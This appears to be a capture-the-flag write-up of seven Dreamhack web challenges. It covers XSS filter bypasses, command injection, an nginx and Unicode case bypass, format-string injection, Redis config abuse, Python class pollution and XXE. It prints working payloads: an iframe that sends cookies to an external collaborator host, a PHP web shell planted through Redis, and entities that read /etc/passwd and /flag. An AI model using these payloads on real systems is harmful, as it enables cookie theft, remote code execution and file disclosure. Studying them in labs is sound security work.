# Dreamhack Web level 3 #### 1. XSS Filtering Bypass Advanced ![image](https://hackmd.io/_uploads/By3D7T1Rxl.png) ![image](https://hackmd.io/_uploads/SJAKX61Rex.png) Let's bypass XSS and extract cookie values using /memo. In this situation, you can work around it by using browser normalization. Normalization is the process of converting different URLs representing the same resource into a unified form. Special characters such as \x01, \x04, \tand are removed, and the case of the schema is unified. I try to use iframe and %09 means \t I use `` because () is blocked ``` <iframe src="javas%09cript:alert `1`"/> ``` ![image](https://hackmd.io/_uploads/HkeA5ayRge.png) Then i need to run this to get cookie: `document.location='/memo?memo='+document.cookie;` But code filter document and location. There are several ways to bypass this. I wonder can be use /t to bypass instead of %09 ``` <iframe src="javas cript:d ocument.locatio n='/memo?memo='+d ocument.cookie;"/> ``` ![image](https://hackmd.io/_uploads/ry_FJCyAge.png) And it work ![image](https://hackmd.io/_uploads/ryPq1AkCgg.png) Another method is use Unicode and \t. * d - \u0064 * o - \u006f * n - \u006e ``` <iframe src="javascr ipt:\u0064ocument.locati\u006f\u006e.href = '/memo?memo=' + \u0064ocument.cookie;"/> ``` Another method i found, it send cookie to my burpsuite ``` <iframe src="javas cript:parent['docu'+'ment']['locatio'+'n']['hr'+'ef']=`http://c4hf8a80csryafhewqnio6i85zbqzjn8.oastify.com/?cookie=${parent['docu'+'ment']['cookie']}`"> ``` ![image](https://hackmd.io/_uploads/BkGUgyxCxg.png) #### 2. EZ_command_injection ![image](https://hackmd.io/_uploads/rJIDt3XAel.png) ![image](https://hackmd.io/_uploads/HJ0DjhQCee.png) You can notice here ('/ping', methods=['GET']), the host parameter is allowed in the ping directory I try some ip like 8.8.8.8, 127.0.0.1 but can't ping ![image](https://hackmd.io/_uploads/rk9Fj27Rgx.png) So let’s review the code, the variable `addr = ipaddress.ip_address(host)` when i search in [website](https://docs.python.org/3/library/ipaddress.html) document it support ipv6, but i try still not work ![image](https://hackmd.io/_uploads/ryXlhnXReg.png) ![image](https://hackmd.io/_uploads/SkfCj27Alg.png) IPv6 addresses have a scope ID(%), which is an identifier used on the local network. ![image](https://hackmd.io/_uploads/rJXZpnX0xl.png) ![image](https://hackmd.io/_uploads/rkBz62Q0ex.png) The link local addresses of all network cards in the world are on the same fe80::/16 network segment! , but they may not necessarily be able to ping each other. This is a big difference from IPv4. All link-local addresses of IPv6 are in the same network segment, and IP routing alone is not enough to allow them to communicate with each other. IPv6 addresses have strict scope restrictions. Two addresses must first be restricted within their own scopes, and then routing connectivity is considered. I add a random ipv6 with %1 and command to execute ![image](https://hackmd.io/_uploads/ByNP0hX0ge.png) ![image](https://hackmd.io/_uploads/HkcqCh7Cxx.png) #### 3. youth-Case ![image](https://hackmd.io/_uploads/S1prx0X0xe.png) ![image](https://hackmd.io/_uploads/H1fy-A7Rgg.png) ![image](https://hackmd.io/_uploads/rJ31WRQRee.png) ![image](https://hackmd.io/_uploads/rygb-RXAgg.png) When go to /shop i get block by nginx. In the file code app.js, i need to send post request to /shop and data is leg= some valude in ag.js ![image](https://hackmd.io/_uploads/SyP3WAm0lx.png) But not work, i read file nginx i need to bypass proxy. After some reseach i find [this link](https://blog.bugport.net/exploiting-http-parsers-inconsistencies) have the same nginx config. The nginx version is 1.22.0 in NodeJS's express. ![image](https://hackmd.io/_uploads/H1xYzCX0gg.png) I can access to /shop but to get flag i need to bypass the leg=='flag'. If using FLAG the code uses toLowerCase() and result is flag. After some reseach i find [this link](https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n). After read website, the character such as Turkish İ by using the toLowerCase function, which becomes i, and can be used to bypass the character Unicode of other countries. ![image](https://hackmd.io/_uploads/HJ1qt070le.png) ![image](https://hackmd.io/_uploads/SJMkdAXReg.png) #### 4. insane python ![image](https://hackmd.io/_uploads/r1vAodN0ge.png) ![image](https://hackmd.io/_uploads/S1WyhO4Cel.png) Use {URL}/?body=value access in the form ![image](https://hackmd.io/_uploads/HkZQ2dNAlg.png) After read the code, this is a ssti vulnerable. If you analyze the app.py source code, you can see that the flag value is stored as SECRET in the CONFIG variable, and in the DataConfig class, it is used as an instance of a variable called config_data. In the path, the body parameter is received and passed to the value, and when passing it, if you look at the print_data function, you can see that it must be passed in the form of a config_data format string. However, if it is {config_data.name}, the name of DataConfig is called. ![image](https://hackmd.io/_uploads/r1ZGyF4Agx.png) I use __init__.__globals__ to get all global variable ![image](https://hackmd.io/_uploads/Hk_HJKV0ee.png) #### 5. phpMyRedis ![image](https://hackmd.io/_uploads/ByUL6frAex.png) ![image](https://hackmd.io/_uploads/BktOTfH0gg.png) First, I looked into the characteristics of Redis. * It is said that Lua scripts can be executed through the eval command in Redis. * Redis stores memory data in the file system at regular intervals. First off, there aren't any specific vulnerabilities in the code, and it seems we'll need to use the Redis system. The config page allows you to view and change Redis settings, so let's use that page for now. I search [this page](https://secybr.com/posts/redis-pentesting-best-practices/) can explain what is Redis and the basic command In /config, i type `dbfilename` and web return `dump.rdb`. This is the path to the file where the data will be saved. ![image](https://hackmd.io/_uploads/HJ57ULiAgx.png) When i type `save` web return value as above. Redis basically saves data periodically through save. ``` save <seconds> <changes> ``` ![image](https://hackmd.io/_uploads/ry36I8oCxl.png) Change the db file name to shell.php ![image](https://hackmd.io/_uploads/ry2xO8iAxg.png) ![image](https://hackmd.io/_uploads/rJeGd8iCgl.png) I changed the save setting to 10 1 to force saving the data once every 10 seconds. ![image](https://hackmd.io/_uploads/H1IE_LoCge.png) ![image](https://hackmd.io/_uploads/SJMBOIjCxl.png) In /command input section, I created a web shell by inserting PHP code into Redis data. This ensured that the saved file would function as executable PHP code ``` return redis.call("set", "shell", "<? system($_GET['cmd']); ?>") ``` ![image](https://hackmd.io/_uploads/SyJnd8iRxx.png) Execute command and get flag Access the generated shell.php and execute the command. ![image](https://hackmd.io/_uploads/Bkn0_Li0gg.png) ![image](https://hackmd.io/_uploads/Bkc4KUoCel.png) ![image](https://hackmd.io/_uploads/HkQwFLiAee.png) #### 6. Pybrid ![image](https://hackmd.io/_uploads/rkP-vvsRll.png) ![image](https://hackmd.io/_uploads/ry5XDPiRxe.png) ![image](https://hackmd.io/_uploads/ryUnGOoRex.png) In source code, user with role principal can execute cmd. If there is a cmd property in the command function, it is stored as is in the command variable, otherwise echo Permission Denied User can execute the principal's command in the /execute path. /add_member allows you to add members, and /members allows you to check the members' names and roles in JSON format. There are 3 type of role to select in /add_member, so just catch reqquest and change role to principal. ![image](https://hackmd.io/_uploads/SkLTMdjRle.png) ![image](https://hackmd.io/_uploads/HJ3eQ_jAlg.png) ![image](https://hackmd.io/_uploads/Hkcbm_j0el.png) When access to /execute website respone Permission Denied. ![image](https://hackmd.io/_uploads/HJiGmuoCge.png) Looking at the source code again, you can see that when adding only the principal account in /add_member, the `merge` function dynamically adds properties to the principal object. ``` Example: src = {"cmd": "ls", "extra": {"key": "value"}} dst = Principal("Alice") merge(src, dst) Result: dst.cmd == "ls" dst.extra == {"key": "value"} ``` However, in /add_member if create a `new_member` by adding the cmd property usually requires adding it to the global `principal` object properties. ``` Dangerous attributes / methods (examples) __dict__ — direct access/write to the instance’s attribute dictionary. (very powerful) __class__ — gives the object’s class; from there an attacker can reach __mro__, __subclasses__, etc. __mro__ — the method-resolution order (inheritance chain); can be used to discover system classes. __subclasses__() — lists subclasses of a class (often used to find loaders/handlers/classes that can be abused). __module__ — the module name where the object/class is defined. __getattribute__, __getattr__, __setattr__, __delattr__ — intercept the mechanics of attribute access and assignment. __call__ — makes an object callable like a function. __init__, __new__ — overriding these can change initialization behavior. __globals__ (on function objects) — gives access to the function’s global variables/modules (e.g., the os module). __code__ (on function objects) — allows modification of the function’s code object (highly sensitive). __closure__ — captures closure variables and related info. __reduce__, __reduce_ex__, __getstate__, __setstate__ — related to pickling; can lead to RCE during deserialization. __slots__ — affects attribute storage and can change object behavior. __annotations__ — usually harmless, but can be abused as metadata. __repr__, __str__ — overriding can cause crashes or information leakage during logging. ``` Therefore, to add a property to the principal global object by the merge function, so i use `__class__` can write attribute to class (Principal) ``` { name: "test1", role: "principal", __class__: { cmd: "id" } } ``` If you send the JSON above, `merge(data, new_member)` will be called. In Python, every instance has a `__class__` attribute. Therefore, when the merge loop encounters the key `__class__` with the value `{"cmd": "id"}`, the elif branch is taken and merge is called recursively. At that point, getattr(dst, k) returns the `__class__` attribute of dst; since dst is new_member and k is `__class__`, the Principal class is passed as the dst parameter. In other words, the recursive call becomes `merge({"cmd": "id"}, Principal)`. In that recursive call, when k is "cmd", v is "id", and dst is Principal, the setattr call sets the cmd attribute on the Principal class. Now, if you request /execute, `principal.command()` will use that class-level cmd value and you can get the id of host machine. ![image](https://hackmd.io/_uploads/SJv2XOsRex.png) ![image](https://hackmd.io/_uploads/rkJ9X_iCee.png) ![image](https://hackmd.io/_uploads/B1jpm_j0xx.png) I try some command linux to get flag ![image](https://hackmd.io/_uploads/Hk47EdjAlx.png) ![image](https://hackmd.io/_uploads/rJamNdsAgl.png) ![image](https://hackmd.io/_uploads/r1jNNdoRgg.png) ![image](https://hackmd.io/_uploads/SywBVujAgx.png) #### 7. Movie time table Flag was place in /flag ![image](https://hackmd.io/_uploads/Skki3xzyWl.png) In Controller, web have 2 route is GET /table calls getMovies of movieService object with table.xml file as argument and POST /test calls getMovies with InputStream reflecting the user's input value ![image](https://hackmd.io/_uploads/H1iKolMkWe.png) Exception will be thrown when the XML contains strings like `SYSTEM` and `file://` ![image](https://hackmd.io/_uploads/r1T5ogGJbg.png) This is the Model Movie ![image](https://hackmd.io/_uploads/SyOisgMyZg.png) This is the structure table.xml ![image](https://hackmd.io/_uploads/S1IDJZfkWl.png) In the MoviesService.java file, the method only accepts InputStream and File as arguments. To prevent XXE Injection when processing an InputStream, the parser filters out the strings `SYSTEM` and `file://`. ![image](https://hackmd.io/_uploads/Hy96ieGy-x.png) ![image](https://hackmd.io/_uploads/rkaCsxMy-e.png) If you send a POST request to the /test path, the Title and Showtimes sections below will be blank as in the response. ![image](https://hackmd.io/_uploads/Byg6xWGkWl.png) If you copy the entire XML content of the table.xml file in the source code, change the Content-Type below to application/xml, paste it, and make a request, you can see that the content is properly responded to and output in the Movie Schedule as before. ![image](https://hackmd.io/_uploads/rk67ZbfkWx.png) If you run the XXE test through DTD as shown below, you can see that `XXE TEST` is printed correctly in the showtimes section. ![image](https://hackmd.io/_uploads/rJeTZWGJbl.png) So i need to bypass the strings `SYSTEM` and `file://`. After some reseacrh i find that `SYSTEM` and `PUBLIC` are almost synonym ![image](https://hackmd.io/_uploads/ryKxfbz1Zl.png) Bypass file:// => file:/ ``` <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test PUBLIC 'FILE' 'file:/etc/passwd'>]> <movies> <movie> <title>Parasite</title> <showtimes> <showtime>&test;</showtime> </showtimes> </movie> </movies> ``` ![image](https://hackmd.io/_uploads/B1-jG-fJ-x.png) ![image](https://hackmd.io/_uploads/B1RTfZf1Zg.png) Another method is encode the charactor to hex and combine with DTD-based XXE (parameter entity `test1` → external general entity `test2`) ``` <?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % test1 "<!ENTITY test2 SYSTE&#77; '&#102;ile:///flag'>"> %test1; ]> <movies> <movie> <title>Parasite</title> <showtimes> <showtime>&test2;</showtime> </showtimes> </movie> </movies> ``` ![image](https://hackmd.io/_uploads/BkynVbG1bg.png)